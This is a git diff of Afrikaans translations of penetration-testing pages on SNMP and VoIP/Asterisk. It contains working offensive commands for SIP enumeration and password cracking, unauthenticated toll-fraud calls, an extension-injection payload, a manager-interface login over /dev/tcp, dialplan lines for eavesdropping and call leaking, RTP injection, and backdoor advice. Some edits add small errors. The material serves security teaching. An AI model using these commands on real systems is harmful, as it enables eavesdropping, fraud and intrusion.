soos _fail_, _failed_, of _login_ word gesoek om waardevolle data te vind: ```bash grep -i "login\|fail" *.snmp ``` @@ -210,15 +210,15 @@ Laastens, om **e-posadresse** uit die data te onttrek, word 'n **grep-opdrag** m ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` -## Wysigting SNMP waardes +## SNMP waardes wysig Jy kan _**NetScanTools**_ gebruik om **waardes** te **wysig**. Jy sal die **privaat string** moet ken om dit te kan doen. ## Spoofing -As daar 'n ACL is wat slegs sekere IP's toelaat om die SNMP diens te vra, kan jy een van hierdie adresse in die UDP-pakket spoof en die verkeer snuffel. +As daar 'n ACL is wat slegs sekere IP's toelaat om die SMNP diens te vra, kan jy een van hierdie adresse in die UDP-pakket spoof en die verkeer snuffel. -## Ondersoek SNMP Konfigurasie lĂȘers +## SNMP Konfigurasie lĂȘers ondersoek - snmp.conf - snmpd.conf diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 7ab709d9d..324a1605c 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -30,7 +30,7 @@ MESSAGE Deliver a text message. Used in instant messaging applications. RFC 34 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` -## Responskode +## Response Codes **1xx—Voorlopige Antwoorde** ``` @@ -118,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 555 Push Notification Service Not Supported 580 Precondition Failure ``` -**6xx—Globale Faal Antwoorde** +**6xx—Globale Faalresponses** ``` 600 Busy Everywhere 603 Decline @@ -178,11 +178,11 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati ``` ### OSINT-inligting -Enige ander OSINT-opsporing wat help om VoIP-sagteware te identifiseer wat gebruik word, sal nuttig wees vir 'n Red Team. +Enige ander OSINT-enumerasie wat help om VoIP-sagteware te identifiseer wat gebruik word, sal nuttig wees vir 'n Red Team. -### Netwerkopsporing +### Netwerk-enumerasie -- **`nmap`** is in staat om UDP-dienste te skandeer, maar as gevolg van die aantal UDP-dienste wat geskandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie. +- **`nmap`** is in staat om UDP-dienste te skandeer, maar weens die aantal UDP-dienste wat geskandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie. ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` @@ -192,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse van netwerke skandeer. Dit maak dit maklik om 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer). +- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse netwerke skandeer. Dit maak dit maklik om 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -259,14 +259,14 @@ auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UD enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` -## VoIP-aanvalle +## VoIP Aanvalle ### Wagwoord Brute-Force - aanlyn Nadat die **PBX** en 'n paar **uitbreidings/gebruikername** ontdek is, kan 'n Rooi Span probeer om te **authentiseer via die `REGISTER` metode** na 'n uitbreiding deur 'n woordelys van algemene wagwoorde te gebruik om die authentisering te brute-force. > [!CAUTION] -> Let daarop dat 'n **gebruikernaam** dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil, afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure... +> Let daarop dat 'n **gebruikernaam** dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure... > > As die gebruikernaam nie dieselfde is as die uitbreiding nie, sal jy moet **uitvind wat die gebruikernaam is om dit te brute-force**. @@ -275,7 +275,7 @@ Nadat die **PBX** en 'n paar **uitbreidings/gebruikername** ontdek is, kan 'n Ro svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` -- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is 'n afstand wagwoord kraker vir SIP dienste. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP's en poortreekse. +- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack is 'n afstands wagwoord kraker vir SIP dienste. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP's en poortreekse. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` @@ -285,14 +285,14 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ### VoIP Sniffing -As jy VoIP-toerusting binne 'n **Open Wifi-netwerk** vind, kan jy **alle inligting snuffel**. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi), kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel. +As jy VoIP-toerusting binne 'n **Open Wifi-netwerk** vind, kan jy **alle inligting** snuffel. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi), kan jy **MitM-aanvalle soos** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) tussen die **PBX en die gateway** uitvoer om die inligting te snuffel. -Onder die netwerk-inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer. +Onder die netwerk inligting kan jy **web geloofsbriewe** vind om die toerusting te bestuur, gebruiker **uitbreidings**, **gebruikersnaam**, **IP** adresse, selfs **gehashede wagwoorde** en **RTP-pakkette** wat jy kan herproduseer om **die gesprek te hoor**, en meer. Om hierdie inligting te verkry, kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n **spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is** [**ucsniff**](https://github.com/Seabreg/ucsniff). > [!CAUTION] -> Let daarop dat as **TLS in die SIP-kommunikasie gebruik word**, jy nie die SIP-kommunikasie in duidelik sal kan sien.\ +> Let daarop dat as **TLS in die SIP kommunikasie gebruik word**, jy nie die SIP kommunikasie in duidelik sal kan sien.\ > Dieselfde sal gebeur as **SRTP** en **ZRTP** gebruik word, **RTP-pakkette sal nie in duidelike teks wees**. #### SIP geloofsbriewe (Wagwoord Brute-Force - aflyn) @@ -308,7 +308,7 @@ sipcrack sip-creds.txt -w dict.txt ```bash sippts dump -f capture.pcap -o data.txt ``` -- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack is 'n hulpmiddel om die digest-outeentifikasies wat met SIPPTS dump verkry is, te kraak. +- **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack is 'n hulpmiddel om die digest-outentifikasies wat met SIPPTS dump verkry is, te kraak. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` @@ -330,9 +330,9 @@ In Asterisk is dit moontlik om 'n verbinding **van 'n spesifieke IP-adres** of v host=10.10.10.10 host=dynamic ``` -As 'n IP-adres gespesifiseer is, sal die gasheer **nie REGISTER** versoeke elke paar minute hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hĂȘ wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang. +As 'n IP-adres gespesifiseer is, sal die gasheer **nie REGISTER** versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hĂȘ wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang. -Om gebruikers te definieer kan hulle as volg gedefinieer word: +Om gebruikers te definieer kan hulle gedefinieer word as: - **`type=user`**: Die gebruiker kan slegs oproepe as gebruiker ontvang. - **`type=friend`**: Dit is moontlik om oproepe as peer te maak en dit as gebruiker te ontvang (gebruik met uitbreidings) @@ -340,12 +340,12 @@ Om gebruikers te definieer kan hulle as volg gedefinieer word: Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike: -- **`insecure=port`**: Laat peer verbindings wat deur IP geverifieer is. +- **`insecure=port`**: Laat peer verbindings toe wat deur IP geverifieer word. - **`insecure=invite`**: Vereis nie verifikasie vir INVITE-boodskappe nie - **`insecure=port,invite`**: Albei > [!WARNING] -> Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host** veranderlike **nie gebruik word** nie, so as 'n admin **'n SIP-trunk verkeerd konfigureer** met daardie waarde, **sal enigiemand in staat wees om daartoe te verbind**. +> Wanneer **`type=friend`** gebruik word, sal die **waarde** van die **host** veranderlike **nie gebruik word** nie, so as 'n admin **'n SIP-trunk verkeerd konfigureer** met daardie waarde, **sal enige iemand in staat wees om daartoe te verbind**. > > Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees:\ > `host=10.10.10.10`\ @@ -354,7 +354,7 @@ Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike: ### Gratis Oproepe / Asterisks Konteks Misconfigurasies -In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reĂ«ls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en om skeiding tussen verskillende dele van die stelsel te bied. +In Asterisk is 'n **konteks** 'n benoemde houer of afdeling in die kiesplan wat **verwante uitbreidings, aksies en reĂ«ls groepeer**. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer **hoe inkomende en uitgaande oproepe hanteer en gerouteer word**. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied. Elke konteks word in die konfigurasie-lĂȘer gedefinieer, tipies in die **`extensions.conf`** lĂȘer. Konteks word aangedui deur vierkante hakies, met die konteksnaam binne-in. Byvoorbeeld: ```bash @@ -367,7 +367,7 @@ exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` -Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beĂ«indig word. +Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my_context" met 'n uitbreiding "100". Wanneer iemand 100 bel, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beĂ«indig word. Dit is **nog 'n konteks** wat toelaat om **na enige ander nommer te bel**: ```scss @@ -388,7 +388,7 @@ include => external - **`SIPPTS invite`** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite kontroleer of 'n **PBX-bediener ons toelaat om oproepe te maak sonder outentisering**. As die SIP-bediener 'n verkeerde konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ook toelaat dat ons die oproep na 'n tweede eksterne nommer oorplaas. -Byvoorbeeld, as jou Asterisk-bediener 'n slegte kontekskonfigurasie het, kan jy INVITE-versoeke sonder outorisering aanvaar. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken. +Byvoorbeeld, as jou Asterisk-bediener 'n slegte kontekskonfigurasie het, kan jy 'n INVITE-versoek sonder outorisering aanvaar. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken. ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v @@ -398,17 +398,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Gratis oproepe / Foutief geconfigureerde IVRS -IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnologie wat gebruikers in staat stel om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetstoon insette. IVRS word gebruik om **geoutomatiseerde oproep hantering** stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinsette vas te vang. +IVRS staan vir **Interaktiewe Stem Respons Stelsel**, 'n telekommunikasietegnologie wat gebruikers in staat stel om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetsingang. IVRS word gebruik om **geoutomatiseerde oproephantering** stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinvoer te vang. -IVRS in VoIP stelsels bestaan tipies uit: +IVRS in VoIP-stelsels bestaan tipies uit: 1. **Stem aanwysings**: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei. -2. **DTMF** (Dubbel-Toon Multi-Frekwensie) sein: Toetstoon insette wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en insette te verskaf. -3. **Oproep roetering**: Die rigting van oproepe na die toepaslike bestemming, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinsette. -4. **Gebruikersinset vasvang**: Die insameling van inligting van bellers, soos rekeningnommers, saak-ID's, of enige ander relevante data. -5. **Integrasie met eksterne stelsels**: Die verbinding van die IVR-stelsel met databasisse of ander sagteware stelsels om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer. +2. **DTMF** (Dubbele Toon Multi-Frekwensie) sein: Toetsingang wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf. +3. **Oproep roetering**: Die rigting van oproepe na die toepaslike bestemming, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer. +4. **Vang van gebruikersinvoer**: Die insameling van inligting van bellers, soos rekeningnommers, saak-ID's, of enige ander relevante data. +5. **Integrasie met eksterne stelsels**: Die verbinding van die IVR-stelsel met databasisse of ander sagteware stelsels om toegang tot of opdatering van inligting te verkry, aksies uit te voer, of gebeurtenisse te aktiveer. -In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lĂȘer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinsette vas te vang, en die oproepvloei te beheer. +In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (**`extensions.conf`** lĂȘer) en verskeie toepassings soos `Background()`, `Playback()`, `Read()`, en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer. #### Voorbeeld van kwesbare konfigurasie ```scss @@ -431,7 +431,7 @@ Waar **`${EXTEN}`** die **verlenging** is wat gebel sal word, wanneer die **ext ```scss exten => 101,1,Dial(SIP/101) ``` -However, if **`${EXTEN}`** allows to introduce **more than numbers** (like in older Asterisk versions), an attacker could introduce **`101&SIP123123123`** to call the phone number 123123123. And this would be the result: +egter, as **`${EXTEN}`** toelaat om **meer as net nommers** in te voer (soos in ouer Asterisk weergawes), kan 'n aanvaller **`101&SIP123123123`** invoer om die telefoonnommer 123123123 te bel. En dit sou die resultaat wees: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` @@ -439,7 +439,7 @@ Daarom sal 'n oproep na die uitbreiding **`101`** en **`123123123`** gestuur wor ## SIPDigestLeak kwesbaarheid -Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beĂŻnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-authentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Offline wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel. +Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beĂŻnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat **lek van die Digest-outehentikasie antwoord** toe, wat bereken word vanaf die wagwoord. 'n **Aflyn wagwoordaanval is dan moontlik** en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel. **[Kwesbaarheid scenario van hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): @@ -447,9 +447,9 @@ Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beĂŻnvlo 2. Die aanvaller stuur 'n INVITE na die IP Telefoon 3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie) 4. Wanneer die telefoon opgehang word, **stuur die slagoffer telefoon 'n BYE na die aanvaller** -5. Die **aanvaller gee 'n 407 antwoord** wat **om authentikasie vra** en 'n authentikasie uitdaging uitreik -6. Die **slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging** in 'n tweede BYE -7. Die **aanvaller kan dan 'n brute-force aanval** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) uitvoer en die wagwoord raai +5. Die **aanvaller gee 'n 407 antwoord** wat **om outeurskap vra** en 'n outeurskap uitdaging uitreik +6. Die **slagoffer telefoon bied 'n antwoord op die outeurskap uitdaging** in 'n tweede BYE +7. Die **aanvaller kan dan 'n brute-force aanval uitvoer** op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) en die wagwoord raai - **SIPPTS lek** van [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beĂŻnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel. ```bash @@ -474,7 +474,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100 ``` ### Click2Call -Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiĂ«le oproep gemaak word, en wanneer hy **die telefoon opneem**, sal die gebruiker **gebel en met die agent verbind word**. +Click2Call laat 'n **webgebruiker** (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy **telefoonnommer** in te voer om gebel te word. Dan sal 'n kommersiĂ«le oproep gemaak word, en wanneer hy **die telefoon opneem**, sal die gebruiker **gebel en met die agent verbind** word. 'n Algemene Asterisk-profiel hiervoor is: ```scss @@ -487,7 +487,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - Die vorige profiel laat **ENIGE IP-adres toe om te verbind** (as die wagwoord bekend is). -- Om 'n **oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **oorsprong** in **skryf** is nodig. +- Om **'n oproep te organiseer**, soos voorheen gespesifiseer, is **geen leesregte nodig nie** en **slegs** **originate** in **skryf** is nodig. Met daardie regte kan enige IP wat die wagwoord ken, verbind en te veel inligting onttrek, soos: ```bash @@ -498,13 +498,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr ### **Afluister** -In Asterisk is dit moontlik om die opdrag **`ChanSpy`** te gebruik wat die **verlenging(e) om te monitor** (of al hulle) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word. +In Asterisk is dit moontlik om die opdrag **`ChanSpy`** te gebruik wat die **verlenging(e) om te monitor** (of al die verlengings) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word. -Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verlenging 333** **bel**, dit **alle** verlengings sal **monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stilmodus (**`q`**) aangesien ons nie wil interaksie hĂȘ nie. Jy kan van een gesprek na 'n ander gaan deur **`*`** te druk, of die verlenging nommer te merk. +Byvoorbeeld, **`exten => 333,1,ChanSpy('all',qb)`** dui aan dat as jy die **verlenging 333** **bel**, dit **alle** verlengings sal **monitor**, **begin luister** wanneer 'n nuwe gesprek begin (**`b`**) in stilmodus (**`q`**) aangesien ons nie wil interaksie hĂȘ nie. Jy kan van een gesprek na 'n ander beweeg deur **`*`** te druk, of deur die verlenging nommer te merk. Dit is ook moontlik om **`ExtenSpy`** te gebruik om slegs een verlenging te monitor. -In plaas daarvan om die gesprekke te luister, is dit moontlik om hulle **in lĂȘers op te neem** deur 'n verlenging soos: +In plaas daarvan om die gesprekke te luister, is dit moontlik om **hulle in lĂȘers op te neem** met 'n verlenging soos: ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) @@ -512,17 +512,17 @@ exten => _X.,2,MixMonitor(${NAME}) ``` Calls sal in **`/tmp`** gestoor word. -Jy kan selfs Asterisk **'n skrip laat uitvoer wat die oproep sal lek** wanneer dit gesluit word. +Jy kan ook Asterisk **'n skrip laat uitvoer wat die oproep sal lek** wanneer dit gesluit word. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed kwesbaarheid -**RTCPBleed** is 'n groot sekuriteitskwesbaarheid wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **deur enige iemand op die Internet geĂŻntercepteer en hergerig te word**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer. +**RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **deur enige iemand op die Internet geĂŻntercepteer en hergerig te word**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer. -RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels beĂŻnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geĂŻmplementeer waar sulke **IP- en poorttuples outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat dalk "leer-modus" genoem word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die bel of die ontvanger van 'n lopende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word. +RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels beĂŻnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geĂŻmplementeer waar sulke **IP- en poort-tuplet outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat dalk "leer-modus" genoem word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproxiede RTP-verkeer ontvang wat bedoel is vir die bel of die ontvanger van 'n lopende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word. -'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat soms, **selfs al is dit nie kwesbaar vir RTP Bleed nie**, hulle **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te voeg. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word. +'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat soms, **selfs al is dit nie kwesbaar vir RTP Bleed nie**, hulle **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle in staat kan stel om hul media in plaas van die wettige een in te voeg. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word. Asterisk en FreePBX het tradisioneel die **`NAT=yes` instelling** gebruik, wat RTP-verkeer toelaat om outentisering te omseil, wat moontlik lei tot geen klank of eenrigting-klank op oproepe nie. @@ -532,7 +532,7 @@ Vir meer inligting, kyk na [https://www.rtpbleed.com/](https://www.rtpbleed.com/ ```bash sippts rtpbleed -i 10.10.0.10 ``` -- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecteer die RTP Bleed kwesbaarheid deur RTCP strome te stuur. +- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed detecteer die RTP Bleed kwesbaarheid deur RTCP-strome te stuur. ```bash sippts rtcpbleed -i 10.10.0.10 ``` @@ -540,7 +540,7 @@ sippts rtcpbleed -i 10.10.0.10 ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` -- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject ontgin die RTP Bleed kwesbaarheid deur 'n klanklĂȘer (WAV-formaat) in te spuit. +- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject benut die RTP Bleed kwesbaarheid deur 'n klanklĂȘer (WAV-formaat) in te spuit. ```bash sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` @@ -550,49 +550,49 @@ In Asterisk kan jy op een of ander manier **uitbreidingsreĂ«ls byvoeg en dit her ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` -Daar is 'n opdrag genaamd **`Shell`** wat gebruik kan word **in plaas van `System`** om stelselsopdragte uit te voer indien nodig. +Daar is 'n opdrag genoem **`Shell`** wat gebruik kan word **in plaas van `System`** om stelselsopdragte uit te voer indien nodig. > [!WARNING] -> As die bediener **die gebruik van sekere karakters verbied** in die **`System`** opdrag (soos in Elastix), kyk of die webbediener toelaat om **lĂȘers op een of ander manier binne die stelsel te skep** (soos in Elastix of trixbox), en gebruik dit om **'n backdoor-skrip te skep** en gebruik dan **`System`** om daardie **skrip** te **voeren**. +> As die bediener **die gebruik van sekere karakters verbied** in die **`System`** opdrag (soos in Elastix), kyk of die webbediener toelaat om **lĂȘers op een of ander manier binne die stelsel te skep** (soos in Elastix of trixbox), en gebruik dit om **'n agterdeur-skrip** te **skep** en gebruik dan **`System`** om daardie **skrip** te **voeren**. #### Interessante plaaslike lĂȘers en toestemmings - **`sip.conf`** -> Bevat die wagwoord van SIP gebruikers. - As die **Asterisk bediener as root loop**, kan jy root kompromenteer. -- **mysql root gebruiker** mag **geen wagwoord hĂȘ**. -- dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep. +- **mysql root gebruiker** mag **geen wagwoord hĂȘ** nie. +- dit kan gebruik word om 'n nuwe mysql gebruiker as agterdeur te skep. - **`FreePBX`** - **`amportal.conf`** -> Bevat die wagwoord van die webpaneel administrateur (FreePBX). - **`FreePBX.conf`** -> Bevat die wagwoord van die gebruiker FreePBXuser wat gebruik word om toegang tot die databasis te verkry. -- dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep. +- dit kan gebruik word om 'n nuwe mysql gebruiker as agterdeur te skep. - **`Elastix`** - **`Elastix.conf`** -> Bevat verskeie wagwoorde in duidelike teks soos mysql root wagwoord, IMAPd wagwoord, web admin wagwoord. -- **Verskeie vouers** sal aan die 